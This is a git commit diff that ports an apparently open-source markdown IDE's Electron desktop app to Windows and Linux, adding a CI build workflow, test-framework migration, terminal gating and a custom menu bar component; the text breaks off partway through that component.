Beautiful, AI-native markdown IDE and LLM wiki
TypeScript 2nd-brainagent-skillsclaudecodexcompany-braindocsknowledge-knowledge-baseknowledge-managementllmllm-wikillm-wiki-karpathymarkdownmarkdown-editormdmdxnotespkmsecond-brainskills
Desktop Windows/Linux port — P1 buildability + Tier B parity (#2707)
mike-inkeepfb51ec5a8a92
diff --git a/.changeset/desktop-windows-linux-port.md b/.changeset/desktop-windows-linux-port.mdnew file mode 100644index 000000000..3a9f87238--- /dev/null+++ b/.changeset/desktop-windows-linux-port.md@@ -0,0 +1,10 @@+---+"@inkeep/open-knowledge": minor+---++The OpenKnowledge desktop app can now be built for Windows and Linux. This first slice makes the app buildable and full-featured on both platforms — installers are not published yet (they'll appear on the releases page after internal QA):++- Windows: one-click per-user NSIS installers (x64 + arm64) that put the bundled `ok` CLI on your PATH and register `openknowledge://` links. Linux: AppImage and deb packages (x64 + arm64); the deb installs `/usr/bin/ok` and registers links system-wide, while AppImages self-register a link handler each time they run.+- Windows and Linux windows get proper chrome: a frameless titlebar with native window controls and an in-app menu bar (File / Edit / View / Window / Help) that mirrors the macOS menus.+- Everything the Mac app wires up on your machine now works on Windows and Linux too: MCP entries for your editors (Claude, Cursor, Codex, and friends), Agent Skills, and `ok` launching the desktop app when installed.+- The built-in terminal stays macOS-only for now; its buttons and settings are hidden on other platforms instead of failing.diff --git a/.github/workflows/desktop-build-win-linux.yml b/.github/workflows/desktop-build-win-linux.ymlnew file mode 100644index 000000000..864f8dd8b--- /dev/null+++ b/.github/workflows/desktop-build-win-linux.yml@@ -0,0 +1,285 @@+name: Desktop build (manual, Windows/Linux)++# Manual, artifact-only Windows + Linux desktop builds (spec+# 2026-07-16-desktop-windows-linux-port, D6): nothing here publishes,+# tags, or touches the release cadence — the operator downloads the+# installers from the run's artifacts for VM/hardware QA. Cadence wiring+# (desktop-release.yml jobs, updates-proxy widening, download surfaces)+# is deferred to P4 after QA sign-off.+#+# Topology: one `prepare` job on ubuntu builds the workspace (the CLI+# build chain uses `cp -r`/`mkdir -p` bash-isms that don't survive a+# Windows runner's default shell, and this also keeps the two packaging+# jobs from redundantly rebuilding identical platform-neutral JS), then+# per-OS jobs do only the platform-specific half: electron-vite build ++# electron-builder against the prebuilt cli/dist.+#+# Windows signing (D3, Azure Artifact Signing): OPTIONAL here. When the+# three AZURE_* secrets + three AZURE_SIGNING_* repo variables are+# configured, the Windows job passes win.azureSignOptions to+# electron-builder; when absent it builds unsigned (acceptable for+# internal QA only — unsigned Windows builds are never published, and+# this workflow cannot publish by construction).+#+# afterPack/afterSign flip + verify the Electron fuses on every platform+# (D9) — RunAsNode must be enabled or the bundled `ok` CLI wrappers and+# the detached-server spawn silently break in packaged builds.++on:+ workflow_dispatch:+ inputs:+ platforms:+ description: "Which platforms to build"+ required: true+ type: choice+ default: both+ options: [both, windows, linux]++permissions:+ contents: read+ # `gh run download` of the native-config prebuild artifact.+ actions: read++concurrency:+ group: desktop-build-win-linux-${{ github.ref }}+ cancel-in-progress: false++defaults:+ run:+ shell: bash++jobs:+ prepare:+ runs-on: ubuntu-latest+ timeout-minutes: 30+ steps:+ - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2++ - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0+ with:+ node-version: "24"++ - uses: pnpm/action-setup@fc06bc1257f339d1d5d8b3a19a8cae5388b55320 # v5+ - name: Get pnpm store directory+ shell: bash+ run: echo "STORE_PATH=$(pnpm store path --silent)" >> "$GITHUB_ENV"+ - uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4+ with:+ path: ${{ env.STORE_PATH }}+ key: ${{ runner.os }}-ok-pnpm-store-${{ hashFiles('pnpm-lock.yaml') }}+ restore-keys: |+ ${{ runner.os }}-ok-pnpm-store-++ - uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4+ with:+ path: .turbo+ key: ${{ runner.os }}-turbo-desktop-manual-${{ hashFiles('pnpm-lock.yaml') }}+ restore-keys: |+ ${{ runner.os }}-turbo-desktop-manual-+ ${{ runner.os }}-turbo-desktop-++ - name: Install dependencies+ run: pnpm install --frozen-lockfile++ # Best-effort staging of the 8-target native-config prebuilt set+ # (mirrors release.yml's step in spirit, but always degrades instead+ # of failing: these are QA artifacts, not published releases, and the+ # smol-toml fallback keeps the CLI functional without the addon —+ # only the Codex TOML write degrades to a decline). The host `napi+ # build` below still produces the linux-x64 binary either way.+ - name: Stage native-config prebuilt binaries (best-effort)+ env:+ GH_TOKEN: ${{ github.token }}+ run: |+ set -uo pipefail+ run_id=$(gh run list --workflow=native-config-prebuild.yml --branch main --event push \+ --status success --limit 1 --json databaseId --jq '.[0].databaseId // empty' 2>/dev/null || true)+ if [ -z "$run_id" ]; then+ echo "::warning::no successful native-config-prebuild run found; win/arm64 targets ship without the toml_edit addon (smol-toml fallback)"+ exit 0+ fi+ if ! gh run download "$run_id" --name native-config-bindings-all --dir /tmp/nc-bindings; then+ echo "::warning::could not download native-config-bindings-all from run $run_id; continuing with host binary only"+ exit 0+ fi+ find /tmp/nc-bindings -name '*.node' -exec cp -f {} packages/native-config/ \;+ count=$(find packages/native-config -maxdepth 1 -name '*.node' | wc -l | tr -d ' ')+ echo "staged $count native-config prebuilt binaries from run $run_id"++ # The workspace build produces native-config's host `.node` via `napi+ # build` (turbo dep of the cli build), which needs a Rust toolchain —+ # mirror release.yml's explicit pin.+ - name: Setup Rust toolchain for the native-config build+ uses: dtolnay/rust-toolchain@29eef336d9b2848a0b548edc03f92a220660cdb8 # stable+ with:+ toolchain: stable++ # Same two-filter sequencing as desktop-release.yml: app must build+ # before cli's build:assets copies app/dist into cli/dist/public.+ - name: Build workspace (produces packages/cli/dist for extraResources)+ run: |+ pnpm exec turbo run build --filter=@inkeep/open-knowledge-app+ pnpm exec turbo run build --filter=@inkeep/open-knowledge++ # Hand the platform-neutral build products to the packaging jobs:+ # the full bundled CLI tree + the native-config addon dir the+ # electron-builder `../native-config` extraResources rule reads+ # (index.js loader + package.json + every staged .node).+ - name: Upload workspace bundle+ uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1+ with:+ name: workspace-bundle+ path: |+ packages/cli/dist/+ packages/native-config/index.js+ packages/native-config/index.d.ts+ packages/native-config/*.node+ retention-days: 3+ if-no-files-found: error++ build-windows:+ if: inputs.platforms == 'both' || inputs.platforms == 'windows'+ needs: prepare+ runs-on: windows-latest+ timeout-minutes: 45+ steps:+ - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2++ - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0+ with:+ node-version: "24"++ - uses: pnpm/action-setup@fc06bc1257f339d1d5d8b3a19a8cae5388b55320 # v5+ - name: Get pnpm store directory+ shell: bash+ run: echo "STORE_PATH=$(pnpm store path --silent)" >> "$GITHUB_ENV"+ - uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4+ with:+ path: ${{ env.STORE_PATH }}+ key: ${{ runner.os }}-ok-pnpm-store-${{ hashFiles('pnpm-lock.yaml') }}+ restore-keys: |+ ${{ runner.os }}-ok-pnpm-store-++ - name: Install dependencies+ env:+ # Rebuild native modules against Electron's Node ABI — mirrors+ # desktop-release.yml.+ ELECTRON_SKIP_REBUILD: "0"+ run: pnpm install --frozen-lockfile++ - name: Download workspace bundle+ uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v5.0.0+ with:+ name: workspace-bundle+ path: packages/++ # Both keyring arch prebuilds (x64 + arm64) must be present in the+ # hoisted node_modules before electron-builder copies them into+ # cli/node_modules (win.extraResources) — pnpm installed only the+ # host-matching one.+ - name: Prepare cross-arch keyring prebuilds+ working-directory: packages/desktop+ run: node scripts/prepare-platform-natives.mjs++ - name: Build desktop main/preload/renderer+ working-directory: packages/desktop+ run: pnpm run build:desktop++ # Signing is optional (see header). Secrets: AZURE_TENANT_ID /+ # AZURE_CLIENT_ID / AZURE_CLIENT_SECRET; repo variables:+ # AZURE_SIGNING_ENDPOINT / AZURE_SIGNING_ACCOUNT / AZURE_SIGNING_PROFILE+ # (Azure Artifact Signing endpoint URL, code-signing account name,+ # certificate profile name — procurement outputs).+ - name: Package NSIS installers (x64 + arm64)+ working-directory: packages/desktop+ env:+ AZURE_TENANT_ID: ${{ secrets.AZURE_TENANT_ID }}+ AZURE_CLIENT_ID: ${{ secrets.AZURE_CLIENT_ID }}+ AZURE_CLIENT_SECRET: ${{ secrets.AZURE_CLIENT_SECRET }}+ AZURE_SIGNING_ENDPOINT: ${{ vars.AZURE_SIGNING_ENDPOINT }}+ AZURE_SIGNING_ACCOUNT: ${{ vars.AZURE_SIGNING_ACCOUNT }}+ AZURE_SIGNING_PROFILE: ${{ vars.AZURE_SIGNING_PROFILE }}+ run: |+ set -euo pipefail+ extra=()+ if [[ -n "${AZURE_CLIENT_SECRET:-}" && -n "${AZURE_SIGNING_ENDPOINT:-}" ]]; then+ echo "::notice::Azure Artifact Signing credentials present — building SIGNED installers."+ extra+=(+ "--config.win.azureSignOptions.endpoint=${AZURE_SIGNING_ENDPOINT}"+ "--config.win.azureSignOptions.codeSigningAccountName=${AZURE_SIGNING_ACCOUNT}"+ "--config.win.azureSignOptions.certificateProfileName=${AZURE_SIGNING_PROFILE}"+ )+ else+ echo "::warning::No Azure signing credentials — building UNSIGNED installers (internal QA only; never distribute)."+ fi+ pnpm exec electron-builder --win --publish never "${extra[@]}"++ - name: Upload Windows artifacts+ uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1+ with:+ name: open-knowledge-windows-${{ github.run_number }}+ path: |+ packages/desktop/dist-desktop/*.exe+ packages/desktop/dist-desktop/*.exe.blockmap+ packages/desktop/dist-desktop/latest.yml+ retention-days: 14+ if-no-files-found: error++ build-linux:+ if: inputs.platforms == 'both' || inputs.platforms == 'linux'+ needs: prepare+ runs-on: ubuntu-latest+ timeout-minutes: 45+ steps:+ - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2++ - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0+ with:+ node-version: "24"++ - uses: pnpm/action-setup@fc06bc1257f339d1d5d8b3a19a8cae5388b55320 # v5+ - name: Get pnpm store directory+ shell: bash+ run: echo "STORE_PATH=$(pnpm store path --silent)" >> "$GITHUB_ENV"+ - uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4+ with:+ path: ${{ env.STORE_PATH }}+ key: ${{ runner.os }}-ok-pnpm-store-${{ hashFiles('pnpm-lock.yaml') }}+ restore-keys: |+ ${{ runner.os }}-ok-pnpm-store-++ - name: Install dependencies+ env:+ # Rebuild native modules against Electron's Node ABI — mirrors+ # desktop-release.yml.+ ELECTRON_SKIP_REBUILD: "0"+ run: pnpm install --frozen-lockfile++ - name: Download workspace bundle+ uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v5.0.0+ with:+ name: workspace-bundle+ path: packages/++ - name: Prepare cross-arch keyring prebuilds+ working-directory: packages/desktop+ run: node scripts/prepare-platform-natives.mjs++ - name: Build desktop main/preload/renderer+ working-directory: packages/desktop+ run: pnpm run build:desktop++ - name: Package AppImage + deb (x64 + arm64)+ working-directory: packages/desktop+ run: pnpm exec electron-builder --linux --publish never++ - name: Upload Linux artifacts+ uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1+ with:+ name: open-knowledge-linux-${{ github.run_number }}+ path: |+ packages/desktop/dist-desktop/*.AppImage+ packages/desktop/dist-desktop/*.deb+ packages/desktop/dist-desktop/latest-linux.yml+ retention-days: 14+ if-no-files-found: errordiff --git a/packages/app/index.html b/packages/app/index.htmlindex d2d3b658d..511ce2994 100644--- a/packages/app/index.html+++ b/packages/app/index.html@@ -56,7 +56,7 @@Single-line script body — same biome HTML-formatter constraint asthe editor-mode FOUC above.-->- <script>(() => { let t = 'system'; try { const r = localStorage.getItem('ok-theme-v1'); if (r === 'light' || r === 'dark' || r === 'system') t = r; } catch {} let ct = null; try { const c = localStorage.getItem('ok-color-theme-v1'); if (c && ['dracula', 'catppuccin-frappe', 'catppuccin-latte', 'monokai', 'gruvbox', 'solarized', 'custom'].includes(c)) ct = c; } catch {} let dark = t === 'dark'; if (t === 'system') { try { dark = window.matchMedia('(prefers-color-scheme: dark)').matches; } catch {} } let customCss = null; if (ct === 'custom') { try { const raw = localStorage.getItem('ok-custom-theme-v1'); if (raw) { const o = JSON.parse(raw); if (o?.css) { customCss = o.css; dark = !!o.dark; } } } catch {} if (!customCss) ct = null; } else if (ct) { dark = !['catppuccin-latte'].includes(ct); } if (dark) document.documentElement.classList.add('dark'); if (ct) document.documentElement.setAttribute('data-color-theme', ct); if (customCss) { const s = document.createElement('style'); s.id = 'ok-custom-theme'; s.textContent = customCss; document.head.appendChild(s); } if (window.okDesktop) document.documentElement.classList.add('electron-mode'); })();</script>+ <script>(() => { let t = 'system'; try { const r = localStorage.getItem('ok-theme-v1'); if (r === 'light' || r === 'dark' || r === 'system') t = r; } catch {} let ct = null; try { const c = localStorage.getItem('ok-color-theme-v1'); if (c && ['dracula', 'catppuccin-frappe', 'catppuccin-latte', 'monokai', 'gruvbox', 'solarized', 'custom'].includes(c)) ct = c; } catch {} let dark = t === 'dark'; if (t === 'system') { try { dark = window.matchMedia('(prefers-color-scheme: dark)').matches; } catch {} } let customCss = null; if (ct === 'custom') { try { const raw = localStorage.getItem('ok-custom-theme-v1'); if (raw) { const o = JSON.parse(raw); if (o?.css) { customCss = o.css; dark = !!o.dark; } } } catch {} if (!customCss) ct = null; } else if (ct) { dark = !['catppuccin-latte'].includes(ct); } if (dark) document.documentElement.classList.add('dark'); if (ct) document.documentElement.setAttribute('data-color-theme', ct); if (customCss) { const s = document.createElement('style'); s.id = 'ok-custom-theme'; s.textContent = customCss; document.head.appendChild(s); } if (window.okDesktop) { document.documentElement.classList.add('electron-mode'); document.documentElement.classList.add(`electron-platform-${window.okDesktop.platform}`); } })();</script><style>html { background-color: __OK_CHROME_BG_LIGHT__ } html.dark { background-color: __OK_CHROME_BG_DARK__ }</style></head>diff --git a/packages/app/src/App.dom.test.tsx b/packages/app/src/App.dom.test.tsxindex cc489d39d..ee64c2e84 100644--- a/packages/app/src/App.dom.test.tsx+++ b/packages/app/src/App.dom.test.tsx@@ -1,6 +1,6 @@-import { afterEach, beforeEach, describe, expect, mock, test } from 'bun:test';import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react';import type { ReactNode } from 'react';+import { afterEach, beforeEach, describe, expect, test, vi } from 'vitest';import { expectVisualClassTokens } from '@/test-utils/visual-contract';type NavigationTarget =@@ -22,7 +22,7 @@ let openTabs: string[] = [];let loading = false;let singleFileMode = false;let tabSessionLoaded = true;-let fetchApiConfigMock = mock(() =>+let fetchApiConfigMock = vi.fn(() =>Promise.resolve({status: 'ok' as const,config: {@@ -33,21 +33,21 @@ let fetchApiConfigMock = mock(() =>},}),);-let clearTargetMock = mock(() => {});-let syncOpenTabsWithKnownTargetsMock = mock(() => {});-let openTargetTransitionMock = mock((_: NavigationTarget) => {});-let resolveNavigationTargetMock = mock(+let clearTargetMock = vi.fn(() => {});+let syncOpenTabsWithKnownTargetsMock = vi.fn(() => {});+let openTargetTransitionMock = vi.fn((_: NavigationTarget) => {});+let resolveNavigationTargetMock = vi.fn((docName: string): NavigationTarget => ({ kind: 'doc', target: docName, docName }),);-let downgradeFolderIndexForHashNavMock = mock((target: NavigationTarget) => target);-let withLargeFileOpenGuardMock = mock((target: NavigationTarget) => target);+let downgradeFolderIndexForHashNavMock = vi.fn((target: NavigationTarget) => target);+let withLargeFileOpenGuardMock = vi.fn((target: NavigationTarget) => target);-mock.module('@/lib/perf', () => ({+vi.doMock('@/lib/perf', () => ({mark: () => {},ProfilerBoundary: ({ children }: { children: ReactNode }) => children,}));-mock.module('@/editor/DocumentContext', () => ({+vi.doMock('@/editor/DocumentContext', () => ({DocumentProvider: ({ children }: { children: ReactNode }) => (<div data-testid="document-provider">{children}</div>),@@ -67,7 +67,7 @@ mock.module('@/editor/DocumentContext', () => ({}),}));-mock.module('@/components/PageListContext', () => ({+vi.doMock('@/components/PageListContext', () => ({PageListProvider: ({ children }: { children: ReactNode }) => (<div data-testid="page-list-provider">{children}</div>),@@ -83,7 +83,7 @@ mock.module('@/components/PageListContext', () => ({}),}));-mock.module('@/components/navigation-targets', () => ({+vi.doMock('@/components/navigation-targets', () => ({resolveNavigationTarget: (...args: Parameters<typeof resolveNavigationTargetMock>) =>resolveNavigationTargetMock(...args),downgradeFolderIndexForHashNav: (target: NavigationTarget) =>@@ -91,7 +91,7 @@ mock.module('@/components/navigation-targets', () => ({withLargeFileOpenGuard: (target: NavigationTarget) => withLargeFileOpenGuardMock(target),}));-mock.module('@/lib/config-provider', () => ({+vi.doMock('@/lib/config-provider', () => ({ConfigProvider: ({ children }: { children: ReactNode }) => (<div data-testid="config-provider">{children}</div>),@@ -100,82 +100,82 @@ mock.module('@/lib/config-provider', () => ({// AppBody reads `merged.appearance.preview.autoOpen` to compose the// "Open in terminal" launch prompt; the ConfigProvider above is a passthrough// so the real context is never set. Stub the hook to the cold-start shape.-mock.module('@/lib/config-context', () => ({+vi.doMock('@/lib/config-context', () => ({useConfigContext: () => ({ merged: null }),}));-mock.module('@/lib/api-config', () => ({+vi.doMock('@/lib/api-config', () => ({fetchApiConfig: (...args: Parameters<typeof fetchApiConfigMock>) => fetchApiConfigMock(...args),}));// ConfigProviderHost mounts the app-lifetime server keepalive; stub it so this// chrome-focused test doesn't open a real WebSocket. Behavior is covered by// use-server-keepalive.dom.test.tsx.-mock.module('@/lib/use-server-keepalive', () => ({+vi.doMock('@/lib/use-server-keepalive', () => ({useServerKeepalive: () => {},}));-mock.module('@/lib/single-file-mode', () => ({+vi.doMock('@/lib/single-file-mode', () => ({SingleFileModeProvider: ({ children }: { children: ReactNode }) => (<div data-testid="single-file-mode-provider">{children}</div>),useSingleFileMode: () => singleFileMode,}));-mock.module('@/components/ConnectingBanner', () => ({+vi.doMock('@/components/ConnectingBanner', () => ({ConnectingBanner: () => <div data-testid="connecting-banner" />,}));-mock.module('@/components/SystemDocSubscriber', () => ({+vi.doMock('@/components/SystemDocSubscriber', () => ({SystemDocSubscriber: () => <div data-testid="system-doc-subscriber" />,}));-mock.module('@/components/McpConsentDialog', () => ({+vi.doMock('@/components/McpConsentDialog', () => ({McpConsentDialog: () => <div data-testid="mcp-consent-dialog" />,}));-mock.module('@/components/CommandPalette', () => ({+vi.doMock('@/components/CommandPalette', () => ({CommandPalette: ({ open }: { open: boolean }) => (<div data-testid="command-palette" data-open={String(open)} />),}));-mock.module('@/components/AuthModal', () => ({+vi.doMock('@/components/AuthModal', () => ({AuthModal: ({ open }: { open: boolean }) => (<div data-testid="auth-modal" data-open={String(open)} />),}));-mock.module('@/components/InstallInClaudeDesktopDialog', () => ({+vi.doMock('@/components/InstallInClaudeDesktopDialog', () => ({InstallInClaudeDesktopDialog: ({ open }: { open: boolean }) => (<div data-testid="install-dialog" data-open={String(open)} />),}));-mock.module('@/components/CreateProjectMenuTrigger', () => ({+vi.doMock('@/components/CreateProjectMenuTrigger', () => ({CreateProjectMenuTrigger: () => <div data-testid="create-project-menu-trigger" />,}));-mock.module('@/components/ReportBugMenuTrigger', () => ({+vi.doMock('@/components/ReportBugMenuTrigger', () => ({ReportBugMenuTrigger: () => <div data-testid="report-bug-menu-trigger" />,}));-mock.module('@/components/ShareBranchSwitchDialog', () => ({+vi.doMock('@/components/ShareBranchSwitchDialog', () => ({ShareBranchSwitchDialog: () => <div data-testid="share-branch-switch-dialog" />,}));-mock.module('@/components/ShareReceiveMissDialog', () => ({+vi.doMock('@/components/ShareReceiveMissDialog', () => ({ShareReceiveMissDialog: () => <div data-testid="share-receive-miss-dialog" />,}));-mock.module('@/components/NewItemDialog', () => ({+vi.doMock('@/components/NewItemDialog', () => ({isNewItemShortcut: () => false,NewItemDialog: ({ open, initialDir }: { open: boolean; initialDir: string }) => (<div data-testid="new-item-dialog" data-open={String(open)} data-initial-dir={initialDir} />),}));-mock.module('@/components/FileSidebar', () => ({+vi.doMock('@/components/FileSidebar', () => ({FileSidebar: ({ onOpenSearch }: { onOpenSearch: () => void }) => (<button type="button" data-testid="file-sidebar" onClick={onOpenSearch}>Sidebar@@ -183,11 +183,11 @@ mock.module('@/components/FileSidebar', () => ({),}));-mock.module('@/components/EditorPane', () => ({+vi.doMock('@/components/EditorPane', () => ({EditorPane: () => <main data-testid="editor-pane" />,}));-mock.module('@/components/ui/sidebar', () => ({+vi.doMock('@/components/ui/sidebar', () => ({SidebarProvider: ({ children, className }: { children: ReactNode; className?: string }) => (<section data-testid="sidebar-provider" className={className}>{children}@@ -200,19 +200,19 @@ mock.module('@/components/ui/sidebar', () => ({),}));-mock.module('@/components/ShareReceiveDialog', () => ({+vi.doMock('@/components/ShareReceiveDialog', () => ({ShareReceiveDialog: () => <div data-testid="share-receive-dialog" />,}));-mock.module('@/lib/share/clone-controller', () => ({+vi.doMock('@/lib/share/clone-controller', () => ({createCloneController: () => ({}),}));-mock.module('@/lib/transports/auth-query-transport', () => ({+vi.doMock('@/lib/transports/auth-query-transport', () => ({httpAuthQueryTransport: () => ({}),}));-mock.module('@/lib/transports/clone-transport', () => ({+vi.doMock('@/lib/transports/clone-transport', () => ({httpCloneTransport: () => ({}),}));@@ -221,7 +221,13 @@ const { App } = await import('./App');function createBridge() {return {editor: {- notifyActiveTargetChanged: mock(() => {}),+ notifyActiveTargetChanged: vi.fn(() => {}),+ },+ // The real preload always exposes `config`; App reads `config.ptyAvailable`+ // to gate the terminal-launch provider (mac-only PTY). Mirror that shape so+ // the gate resolves instead of dereferencing undefined.+ config: {+ ptyAvailable: true,},};}@@ -257,7 +263,7 @@ describe('App runtime wiring', () => {loading = false;singleFileMode = false;tabSessionLoaded = true;- fetchApiConfigMock = mock(() =>+ fetchApiConfigMock = vi.fn(() =>Promise.resolve({status: 'ok' as const,config: {@@ -268,15 +274,15 @@ describe('App runtime wiring', () => {},}),);- globalThis.fetch = mock(() => Promise.resolve(new Response(null, { status: 204 }))) as never;- clearTargetMock = mock(() => {});- syncOpenTabsWithKnownTargetsMock = mock(() => {});- openTargetTransitionMock = mock((_: NavigationTarget) => {});- resolveNavigationTargetMock = mock(+ globalThis.fetch = vi.fn(() => Promise.resolve(new Response(null, { status: 204 }))) as never;+ clearTargetMock = vi.fn(() => {});+ syncOpenTabsWithKnownTargetsMock = vi.fn(() => {});+ openTargetTransitionMock = vi.fn((_: NavigationTarget) => {});+ resolveNavigationTargetMock = vi.fn((docName: string): NavigationTarget => ({ kind: 'doc', target: docName, docName }),);- downgradeFolderIndexForHashNavMock = mock((target: NavigationTarget) => target);- withLargeFileOpenGuardMock = mock((target: NavigationTarget) => target);+ downgradeFolderIndexForHashNavMock = vi.fn((target: NavigationTarget) => target);+ withLargeFileOpenGuardMock = vi.fn((target: NavigationTarget) => target);});afterEach(() => {@@ -333,8 +339,8 @@ describe('App runtime wiring', () => {target: 'reports',folderPath: 'reports',};- resolveNavigationTargetMock = mock(() => resolved);- downgradeFolderIndexForHashNavMock = mock(() => downgraded);+ resolveNavigationTargetMock = vi.fn(() => resolved);+ downgradeFolderIndexForHashNavMock = vi.fn(() => downgraded);setHash('#/reports/');renderApp();@@ -348,7 +354,7 @@ describe('App runtime wiring', () => {test('hash navigation keeps an open extension-qualified markdown tab exact', async () => {openTabs = ['docs/guide.mdx'];- resolveNavigationTargetMock = mock(() => ({+ resolveNavigationTargetMock = vi.fn(() => ({kind: 'doc',target: 'docs/guide',docName: 'docs/guide',diff --git a/packages/app/src/App.tsx b/packages/app/src/App.tsxindex 2ecd3fa2c..cf76dadaa 100644--- a/packages/app/src/App.tsx+++ b/packages/app/src/App.tsx@@ -477,20 +477,26 @@ function AppBody() {// the "Open the OK editor in web view." trailer the web deep-link handoff// carries: the terminal launches next to an already-open editor, so that// directive would point the agent at a surface the user is already viewing.- // Null on the web host (no real OS shell) so the menu rows that consume it- // render nothing.+ // Null on the web host (no real OS shell) AND on desktop hosts where the PTY+ // is unavailable (`config.ptyAvailable` is false on Windows/Linux — node-pty+ // is excluded from those packages), so the menu rows that consume it render+ // nothing rather than a silent no-op: the docked terminal in EditorPane is+ // gated on the same `ptyAvailable` flag, so a Terminal row here would launch+ // into a surface that never mounts. Mirrors the gate in EditorPane / Settings+ // / AppMenubar.// Which launchable CLIs are on PATH — each launch surface gates its rows from// this map via `isTerminalCliEnabled` so a CLI that isn't installed (e.g.// Antigravity, or Claude) doesn't clutter the menu once the probe confirms it absent.const installedClis = useInstalledClis();- const terminalLaunch: TerminalLaunchContextValue | null = desktopBridge- ? {- launchInTerminal: (input, cli) => {- requestTerminalLaunch(composeTerminalLaunchPrompt(input, cli), cli);- },- installedClis,- }- : null;+ const terminalLaunch: TerminalLaunchContextValue | null =+ desktopBridge && desktopBridge.config.ptyAvailable === true+ ? {+ launchInTerminal: (input, cli) => {+ requestTerminalLaunch(composeTerminalLaunchPrompt(input, cli), cli);+ },+ installedClis,+ }+ : null;return (<>diff --git a/packages/app/src/build/electron-mode-class.test.ts b/packages/app/src/build/electron-mode-class.test.tsindex cef917b6e..6944e2fcb 100644--- a/packages/app/src/build/electron-mode-class.test.ts+++ b/packages/app/src/build/electron-mode-class.test.ts@@ -24,16 +24,27 @@* loop at pre-commit).*/-import { describe, expect, test } from 'bun:test';import { readFileSync } from 'node:fs';import { join } from 'node:path';+import { describe, expect, test } from 'vitest';const HTML = readFileSync(join(__dirname, '..', '..', 'index.html'), 'utf8');describe('index.html FOUC inline script — electron-mode class', () => {test('inline FOUC script adds the electron-mode class to documentElement when window.okDesktop is present', () => {+ // Braced form: the okDesktop branch now adds electron-mode AND the+ // per-platform class (electron-platform-<platform>) in one block.expect(HTML).toMatch(- /if\s*\(\s*window\.okDesktop\s*\)\s*document\.documentElement\.classList\.add\(\s*['"]electron-mode['"]\s*\)/,+ /if\s*\(\s*window\.okDesktop\s*\)\s*\{\s*document\.documentElement\.classList\.add\(\s*['"]electron-mode['"]\s*\)/,+ );+ });++ test('inline FOUC script also stamps the per-platform class (win/linux chrome CSS keys off it)', () => {+ // globals.css scopes the Windows/Linux window-controls reserve to+ // html.electron-mode.electron-platform-{win32,linux}; the class must be+ // present before first paint, in the same okDesktop-gated block.+ expect(HTML).toMatch(+ /classList\.add\(\s*`electron-platform-\$\{window\.okDesktop\.platform\}`\s*\)/,);});diff --git a/packages/app/src/components/AppMenubar.tsx b/packages/app/src/components/AppMenubar.tsxnew file mode 100644index 000000000..ed4cf702f--- /dev/null+++ b/packages/app/src/components/AppMenubar.tsx@@ -0,0 +1,378 @@+/**+ * Custom-drawn Windows/Linux menu bar (the windows-linux-port renderer-menubar decision).+ *+ * macOS keeps the native menu bar; on Windows/Linux the window is frameless+ * (`titleBarStyle: 'hidden'` + window-controls overlay), so the menu bar is+ * drawn here, VS Code-style, inside the chrome row. Every click routes to+ * the main process over the single `bridge.menu.dispatch` channel — menu+ * SEMANTICS stay main-side and single-sourced with the native template+ * (`menu.ts`); this component only renders.+ *+ * Keyboard accelerators are NOT bound here: the hidden native application+ * menu keeps them registered OS-side, so shortcuts work without the DOM+ * menubar focused. The `MenubarShortcut` strings are display-only hints.+ *+ * Enable/check state comes from the `query` dispatch — the same aggregated+ * snapshot (active target + view-menu state + recents + capability flags)+ * that drives the native menu's rendering — refreshed each time a menu+ * opens, so it is at most one open stale.+ *+ * The Terminal menu is deliberately absent: the pty-backed dock is dark on+ * Windows/Linux (`config.ptyAvailable`), and every Terminal item is+ * pty-scoped. Re-add it from the native template if node-pty ever ships+ * off-mac.+ */++import { useLingui } from '@lingui/react/macro';+import { useState } from 'react';+import {+ Menubar,+ MenubarCheckboxItem,+ MenubarContent,+ MenubarItem,+ MenubarMenu,+ MenubarSeparator,+ MenubarShortcut,+ MenubarSub,+ MenubarSubContent,+ MenubarSubTrigger,+ MenubarTrigger,+} from '@/components/ui/menubar';+import type {+ OkDesktopBridge,+ OkMenuDispatchRequest,+ OkMenuRendererSnapshot,+} from '@/lib/desktop-bridge-types';++export function AppMenubar() {+ const { t } = useLingui();+ const bridge = typeof window !== 'undefined' ? (window.okDesktop ?? null) : null;+ const [snapshot, setSnapshot] = useState<OkMenuRendererSnapshot | null>(null);++ if (bridge == null || bridge.menu == null || bridge.platform === 'darwin') return null;+ const menu: NonNullable<OkDesktopBridge['menu']> = bridge.menu;+ const isWindows = bridge.platform === 'win32';++ const dispatch = (request: OkMenuDispatchRequest): void => {+ void menu.dispatch(request).catch(() => {+ // A torn-down window (or a main older than this renderer) has no+ // handler — the click degrades to a no-op, matching the native+ // menu's behavior when a dep is unwired.+ });+ };++ const refreshSnapshot = (): void => {+ menu+ .dispatch({ kind: 'query' })+ .then((next) => setSnapshot(next ?? null))+ .catch(() => setSnapshot(null));+ };++ const activeKind = snapshot?.activeTarget.kind ?? null;+ const view = snapshot?.viewMenuState;+ const revealLabel = isWindows ? t`Show in Explorer` : t`Show in File Manager`;++ return (+ <Menubar+ data-testid="app-menubar"+ // Chrome-row treatment: borderless and compact (the shadcn default is+ // a bordered island), and clickable inside the drag region.+ className="h-auto rounded-none border-0 bg-transparent p-0 shadow-none [-webkit-app-region:no-drag]"+ onValueChange={(value) => {+ if (value) refreshSnapshot();+ }}+ >+ <MenubarMenu>+ <MenubarTrigger className="px-2 